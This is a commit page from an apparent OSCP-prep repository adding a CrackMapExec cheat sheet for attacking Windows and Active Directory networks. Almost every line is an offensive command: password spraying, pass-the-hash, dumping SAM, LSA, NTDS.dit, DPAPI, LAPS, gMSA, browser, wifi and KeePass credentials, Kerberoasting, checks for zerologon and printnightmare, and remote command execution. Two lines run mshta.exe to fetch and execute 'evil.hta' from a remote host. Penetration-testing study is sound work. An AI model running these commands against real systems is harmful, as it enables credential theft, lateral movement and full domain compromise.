julle/oscp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

first commit

Browse Source
This commit is contained in:
julle
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Necronomicon/Tools/CrackMapExec.md
+110
View File
@@ -0,0 +1,110 @@
- Execute HTA:
- `cme smb IP_ADDRESS -u USERNAME -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’`
- Get GPP policies
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin`
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password`
- Get password policy
- `cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --pass-pol`
- Dump SAM
- `cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --sam`
- Dump LSA secrets
- `cme smb IPADDRESS -u UserName -p 'PASSWORDHERE' --lsa`
- Check cme protocols
- `cme`
- Check cme protocol modules
- `cme PROTOCOL -L`
- Check cme protocol module options
- `cme PROTOCOL -M MODULE --options`
- Use cme module options
- `cme PROTOCOL -M MODULE -o OPTION`
- Log stuff (6.x+)
- `cme smb IP_ADDRESS -u 'a' -p '' --log logfile.log`
- add port (most protocols)
- `cme smb IP_ADDRESS -u 'a' -p '' --port 666`
- Check Null/Anon Sessions
- `cme smb IP_ADDRESS -u '' -p ''`
- `cme smb IP_ADDRESS -u 'a' -p ''`
- Conduct password sprays
- `cme smb DC-IP_ADDRESS -u USERS_LIST.txt -p '<some password>' --local-auth`
- `cme smb DC-IP_ADDRESS -d DOMAIN -u USERS_LIST.txt -p '<some password>'`
- Execute HTA:
- `cme smb IP_ADDRESS -d DOMAIN -u UserName -p 'PASSWORD' -x ‘mshta.exe http://10.6.190.60/evil.hta’`
- Get GPP policies
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_autologin`
- `cme smb DC_IPAddress -u ‘’ -p ‘’ -M gpp_password`
- Get password policy
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --pass-pol`
- Get users and descriptions
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --users`
- Get gropups
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --groups`
- Get shares
- `cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --shares`
- Dump SAM
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --sam`
- Dump LSA secrets
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --lsa`
- Dump DPAPI
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --dpapi`
- Pass the hash (can do both NTLM and NT hash)
- `cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'`
- `cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash'`
- Pass the hash (local) (can do both NTLM and NT hash)
- `cme smb IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth`
- `cme rdp IPADDRESS -d DOMAIN -u UserName -H 'NTLM hash' --local-auth`
- Dump Wifi Passwords
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wireless`
- Dump firefox creds
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M firefox`
- Dump veeam creds
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M veeam`
- Search/Dump KeePass
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_discover`
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M keepass_trigger -o KEEPASS_CONFIG_PATH="path_from_module_discovery"`
- Defeating LAPS
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --laps`
- Find ASREPROASTable users
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName-List.txt -p '' --asreproast output.txt`
- Find Kerberoastable users
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --kerberoast output.txt`
- Dump gMSA password
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --gmsa`
- MS teams cookies (this crashes teams on host)
- `cme ldap IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M teams_localdb`
- Dump NTDS.dit
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds`
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users`
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds --users --enabled`
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --ntds vss`
- Spider shares for pattern
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --spider 'share' --pattern 'txt'`
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M spider_plus`
- Get relay hosts (SMB Signing Not Required)
- `cme smb IPADDRESS_LIST -d DOMAIN -u UserName -p 'PASSWORDHERE' --gen-relay-list relaylist.txt`
- Get impersonation tokens
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M impersonate`
- Check for nopac
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M nopac`
- Check for printnightmare
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M printnightmare`
- Check for petitpotam
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M petitpotam`
- Check for shadowcoerce
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M shadowcoerce`
- Check for zerologon (shit's broken half the time, module not found)
- `cme smb DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M zerologon`
- Enumerate basic security configs in windows
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -M wcc`
- Bloodhound ingestor
- `cme ldap DC-IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --bloodhound --collection All`
- Run command (x - cmd // X - ps)
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -x 'whoami'`
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' -X 'whoami'`
- Change command exec method (WMI/SMB/ATEXEC)
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --exec-method wmiexec`
- Authenticate locally
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --local-auth`
- Download file
- `cme smb IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --get-file "file downloaded" "output file"`
- Screenshot VNC session
- `cme vnc IPADDRESS -d DOMAIN -u UserName -p 'PASSWORDHERE' --screenshot`